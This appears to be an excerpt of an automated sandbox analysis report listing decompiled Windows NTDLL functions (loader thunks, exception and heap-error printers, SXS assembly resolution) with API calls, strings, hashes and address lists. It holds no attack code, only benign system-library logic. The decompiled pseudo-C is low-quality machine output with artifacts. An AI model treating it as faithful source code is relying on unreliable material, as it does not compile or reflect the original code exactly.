LdrInitializeThunk.NTDLL(6B5018BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B550810,0000001C,6B501616), ref: 6B4B966A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3220a0f150115ac1113497c406aabbb337b7d528f67fcea604078b8de5ac3c91
Instruction ID: d0e407582b77e7bb1eae8c7ad6a095b44911da1da5d5ecde567bcafd9c6d02b9
Opcode Fuzzy Hash: 3220a0f150115ac1113497c406aabbb337b7d528f67fcea604078b8de5ac3c91
Instruction Fuzzy Hash: AF9002B528100802D29071594404A4B040657D1781F91C025A0015A54ECB598A5977E2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B9600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ac603cddb72d1e324b0fc5a8362d7c1690a8022073e5e29567a91963056c15a
Instruction ID: 19dcaf255174d268515ae0da8f107c6ba787005a03a40e75447b6ecd57db2cec
Opcode Fuzzy Hash: 2ac603cddb72d1e324b0fc5a8362d7c1690a8022073e5e29567a91963056c15a
Instruction Fuzzy Hash: 089002B528100442D21062594404F4B450667E0781F51C025A0404A54E869988617162

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6B52B260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6B550DD8,00000018,6B52B5A3,?,6B4548A4,?,?,6B4BB74A,6B451650,6B4BB627), ref: 6B52B2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6B550DD8,00000018,6B52B5A3,?,6B4548A4,?,?,6B4BB74A,6B451650,6B4BB627,6B4BB627), ref: 6B52B2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6B52B30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6B52B31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6B52B4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6B52B4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6B52B514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6B52B523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6B52B546
RtlReportException.1105(00000000,?,00000000), ref: 6B52B566

Strings

write to, xrefs: 6B52B4A6
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 6B52B484
Go determine why that thread has not released the critical section., xrefs: 6B52B3C5
an invalid address, %p, xrefs: 6B52B4CF
a NULL pointer, xrefs: 6B52B4E0
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 6B52B323
<unknown>, xrefs: 6B52B27E, 6B52B2D1, 6B52B350, 6B52B399, 6B52B417, 6B52B48E
The critical section is owned by thread %p., xrefs: 6B52B3B9
*** Resource timeout (%p) in %ws:%s, xrefs: 6B52B352
*** enter .exr %p for the exception record, xrefs: 6B52B4F1
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6B52B38F
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6B52B53F
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6B52B2DC
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6B52B3D6
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6B52B39B
read from, xrefs: 6B52B4AD, 6B52B4B2
This failed because of error %Ix., xrefs: 6B52B446
*** then kb to get the faulting stack, xrefs: 6B52B51C
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6B52B476
*** A stack buffer overrun occurred in %ws:%s, xrefs: 6B52B2F3
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6B52B305
The resource is owned exclusively by thread %p, xrefs: 6B52B374
The resource is owned shared by %d threads, xrefs: 6B52B37E
The instruction at %p referenced memory at %p., xrefs: 6B52B432
*** An Access Violation occurred in %ws:%s, xrefs: 6B52B48F
*** Inpage error in %ws:%s, xrefs: 6B52B418
*** enter .cxr %p for the context, xrefs: 6B52B50D
The instruction at %p tried to %s , xrefs: 6B52B4B6
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6B52B314
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6B52B47D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$ExceptionReport
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 374826753-108210295
Opcode ID: c61f0b41c6308a7cbcc83449fd69338b3cd361e562c11be3ad5a6cc5dd1c5da0
Instruction ID: 7f4e2e98628616ee8f1a7bf6160cdbb49641ecafae95afd375e85227795fb76c
Opcode Fuzzy Hash: c61f0b41c6308a7cbcc83449fd69338b3cd361e562c11be3ad5a6cc5dd1c5da0
Instruction Fuzzy Hash: 83810275941100FFEB11AA159CC9EEB3B36AF86799F404084F2042B196E77E8811EBB2

Uniqueness

Uniqueness Score: -1.00%

Function 6B531C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6B531C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6b4548a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B47B150();
				} else {
					E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6b56589c);
				E6B47B150("Heap error detected at %p (heap handle %p)\n",  *0x6b5658a0);
				_t27 =  *0x6b565898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6B531E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B47B150();
				} else {
					E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6B47B150("Error code: %d - %s\n",  *0x6b565898);
				_t113 =  *0x6b5658a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B47B150("Parameter1: %p\n",  *0x6b5658a4);
				}
				_t115 =  *0x6b5658a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B47B150("Parameter2: %p\n",  *0x6b5658a8);
				}
				_t117 =  *0x6b5658ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6B47B150("Parameter3: %p\n",  *0x6b5658ac);
				}
				_t119 =  *0x6b5658b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6b5658b4);
					E6B47B150("Last known valid blocks: before - %p, after - %p\n",  *0x6b5658b0);
				} else {
					_t120 =  *0x6b5658b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6B47B150();
				} else {
					E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6B47B150("Stack trace available at %p\n", 0x6b5658c0);
			}

0x6b531c10
0x6b531c16
0x6b531c1e
0x6b531c3d
0x6b531c3e
0x6b531c20
0x6b531c35
0x6b531c3a
0x6b531c44
0x6b531c55
0x6b531c5a
0x6b531c65
0x6b531c67
0x00000000
0x6b531c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b531c67
0x6b531cdc
0x6b531ce5
0x6b531d04
0x6b531d05
0x6b531ce7
0x6b531cfc
0x6b531d01
0x6b531d0b
0x6b531d17
0x6b531d1f
0x6b531d25
0x6b531d30
0x6b531d4f
0x6b531d50
0x6b531d32
0x6b531d47
0x6b531d4c
0x6b531d61
0x6b531d67
0x6b531d68
0x6b531d6e
0x6b531d79
0x6b531d98
0x6b531d99
0x6b531d7b
0x6b531d90
0x6b531d95
0x6b531daa
0x6b531db0
0x6b531db1
0x6b531db7
0x6b531dc2
0x6b531de1
0x6b531de2
0x6b531dc4
0x6b531dd9
0x6b531dde
0x6b531df3
0x6b531df9
0x6b531dfa
0x6b531e00
0x6b531e0a
0x6b531e13
0x6b531e32
0x6b531e33
0x6b531e15
0x6b531e2a
0x6b531e2f
0x6b531e39
0x6b531e4a
0x6b531e02
0x6b531e02
0x6b531e08
0x00000000
0x00000000
0x6b531e08
0x6b531e5b
0x6b531e7a
0x6b531e7b
0x6b531e5d
0x6b531e72
0x6b531e77
0x6b531e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6B5658C0,6B5320B1,?,6B52FFAF,00000001,00000020,6B5658C0,00000000), ref: 6B531C35
DbgPrint.1105(HEAP: ,?,00000002,6B5658C0,6B5320B1,?,6B52FFAF,00000001,00000020,6B5658C0,00000000), ref: 6B531C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6B5658C0,6B5320B1,?,6B52FFAF,00000001,00000020,6B5658C0,00000000), ref: 6B531C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6B5658C0,00000000), ref: 6B531CFC
DbgPrint.1105(HEAP: ,00000020,6B5658C0,00000000), ref: 6B531D05
DbgPrint.1105(Error code: %d - %s,6B4548A4,00000020,6B5658C0,00000000), ref: 6B531D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B5658C0,00000000), ref: 6B531D47
DbgPrint.1105(HEAP: ,?,?,?,?,6B5658C0,00000000), ref: 6B531D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6B5658C0,00000000), ref: 6B531D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B5658C0,00000000), ref: 6B531D90
DbgPrint.1105(HEAP: ,?,?,?,?,6B5658C0,00000000), ref: 6B531D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6B5658C0,00000000), ref: 6B531DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B5658C0,00000000), ref: 6B531DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6B5658C0,00000000), ref: 6B531DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6B5658C0,00000000), ref: 6B531DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6B5658C0,00000000), ref: 6B531E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6B5658C0,00000000), ref: 6B531E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6B5658C0,00000000), ref: 6B531E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6B5658C0,00000000), ref: 6B531E72
DbgPrint.1105(Stack trace available at %p,6B5658C0,?,?,?,?,?,?,?,6B5658C0,00000000), ref: 6B531E8B

Strings

heap_failure_block_not_busy, xrefs: 6B531CA6
Stack trace available at %p, xrefs: 6B531E86
heap_failure_invalid_allocation_type, xrefs: 6B531CB4
heap_failure_unknown, xrefs: 6B531C75
heap_failure_multiple_entries_corruption, xrefs: 6B531C8A
Last known valid blocks: before - %p, after - %p, xrefs: 6B531E45
Parameter1: %p, xrefs: 6B531D5C
heap_failure_freelists_corruption, xrefs: 6B531CC9
HEAP: , xrefs: 6B531C16, 6B531C3D, 6B531D04, 6B531D4F, 6B531D98, 6B531DE1, 6B531E32, 6B531E7A
Heap error detected at %p (heap handle %p), xrefs: 6B531C50
heap_failure_cross_heap_operation, xrefs: 6B531CC2
heap_failure_usage_after_free, xrefs: 6B531CBB
Parameter3: %p, xrefs: 6B531DEE
heap_failure_generic, xrefs: 6B531C7C
heap_failure_virtual_block_corruption, xrefs: 6B531C91
heap_failure_internal, xrefs: 6B531C6E
heap_failure_listentry_corruption, xrefs: 6B531CD0
heap_failure_lfh_bitmap_mismatch, xrefs: 6B531CD7
HEAP[%wZ]: , xrefs: 6B531C30, 6B531CF7, 6B531D42, 6B531D8B, 6B531DD4, 6B531E25, 6B531E6D
heap_failure_buffer_overrun, xrefs: 6B531C98
heap_failure_entry_corruption, xrefs: 6B531C83
Parameter2: %p, xrefs: 6B531DA5
heap_failure_invalid_argument, xrefs: 6B531CAD
Error code: %d - %s, xrefs: 6B531D12
heap_failure_buffer_underrun, xrefs: 6B531C9F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: ec8d27f989439a2b4b28490b21c91589983e264f0bf5c3c99a58ca061bc201a5
Instruction ID: eb7f7a1ddc4898deee9d5aa3905bed00f0791f437362359a2938650c725b9e81
Opcode Fuzzy Hash: ec8d27f989439a2b4b28490b21c91589983e264f0bf5c3c99a58ca061bc201a5
Instruction Fuzzy Hash: 4561A4370A00B8DFEB2197BDD895FB073E4EB0AAE470984ADF5056B711F62C9C41CA59

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AC9BF, Relevance: 51.2, APIs: 18, Strings: 11, Instructions: 412
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B4AC9BF(void* __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				void* _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				void* _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				void* _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				void* _v1156;
				char* _v1160;
				char _v1164;
				void* _v1168;
				void* _v1172;
				intOrPtr _v1176;
				void* _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t166;
				void* _t170;
				wchar_t* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t264;
				void* _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0x6b56d360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
					E6B505720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E6B47AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E6B4B95D0();
						}
						_t170 = _v1156;
						if(_t170 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t170);
						}
						L26:
						return E6B4BB640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E6B4ACCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						E6B505720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = wcsrchr(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									memcpy( *(_t264 + 4), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E6B486A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E6B4B9830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E6B4B95D0();
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												E6B505720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										E6B505720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = E6B4ACE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										E6B505720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E6B493A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 = _t264;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E6B4ACCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = E6B4ACF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = E6B4ACE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								E6B505720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							E6B505720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E6B4ACCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E6B4B95D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = E6B4ACF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								E6B505720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x6b4ac9bf
0x6b4ac9d1
0x6b4ac9d8
0x6b4ac9dc
0x6b4ac9e9
0x6b4ac9eb
0x6b4ac9f3
0x6b4ac9f9
0x6b4ac9fb
0x6b4aca01
0x6b4aca07
0x6b4aca09
0x6b4aca0f
0x6b4aca19
0x6b4aca1f
0x6b4aca25
0x6b4aca2b
0x6b4aca31
0x6b4aca39
0x6b4eac23
0x6b4eac23
0x6b4eac24
0x6b4eac25
0x6b4eac26
0x6b4eac34
0x6b4eac3c
0x6b4acc3c
0x6b4acc43
0x6b4acc65
0x6b4acc6c
0x6b4eac4c
0x6b4eac4c
0x6b4acc72
0x6b4acc79
0x6b4eac56
0x6b4eac5c
0x6b4eac5c
0x6b4acc7f
0x6b4acc87
0x6b4eac72
0x6b4eac72
0x6b4acc8d
0x6b4acc9f
0x6b4acc9f
0x6b4acc45
0x6b4acc51
0x6b4acc60
0x00000000
0x6b4acc60
0x6b4aca41
0x6b4eac20
0x00000000
0x6b4aca59
0x6b4aca5f
0x00000000
0x00000000
0x6b4aca65
0x6b4aca68
0x6b4aca76
0x6b4aca7c
0x6b4aca7e
0x6b4aca86
0x6b4ea8ea
0x6b4ea8f5
0x6b4ea8fd
0x00000000
0x6b4ea8fd
0x6b4aca90
0x6b4ea90d
0x6b4ea916
0x6b4ea918
0x6b4ea927
0x6b4ea930
0x6b4ea94c
0x6b4ea94f
0x6b4ea955
0x6b4ea95b
0x6b4ea98c
0x6b4ea992
0x6b4ea99a
